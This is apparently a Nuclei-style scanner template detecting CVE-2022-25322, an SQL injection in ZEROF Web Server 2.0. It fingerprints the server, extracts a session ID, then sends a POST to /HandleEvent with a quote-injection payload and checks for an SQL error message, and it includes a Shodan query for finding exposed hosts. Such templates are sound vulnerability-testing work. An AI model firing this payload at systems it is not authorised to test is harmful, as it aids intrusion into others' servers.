ZEROF Web Server 2.0 - SQL Injection

id: CVE-2022-25322

info:
  name: ZEROF Web Server 2.0 - SQL Injection
  author: daffainfo
  severity: critical
  description: |
    ZEROF Web Server 2.0 allows SQL Injection via the /HandleEvent endpoint. Attackers can exploit this vulnerability by manipulating the request parameters to execute arbitrary SQL queries.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 2.0.
  reference:
    - https://github.com/landigv/research/blob/main/cve/CVE-2022-25322.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25322
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25322
    cwe-id: CWE-89
    epss-score: 0.0856
    epss-percentile: 0.94402
    cpe: cpe:2.3:a:zerof:web_server:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zerof
    product: web_server
    shodan-query: "Server: ZEROF Web Server"
  tags: cve,cve2022,zerof,sqli,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "_S_ID", "<title>ZEROF Web Server</title>")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: s_id
        internal: true
        group: 1
        regex:
          - '_S_ID="_S_ID=(.*?)";'

  - raw:
      - |
        POST /HandleEvent HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 119

        Ajax=1&IsEvent=1&Obj=O33&Evt=keypress&this=O33&char=%0D&"_fp_=_S_ID={{s_id}}&O33=%020%02%02'&_seq_=2&_uo_=O0

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "You have an error in your SQL syntax"

      - type: word
        part: header
        words:
          - "ZEROF Web Server"

      - type: status
        status:
          - 200
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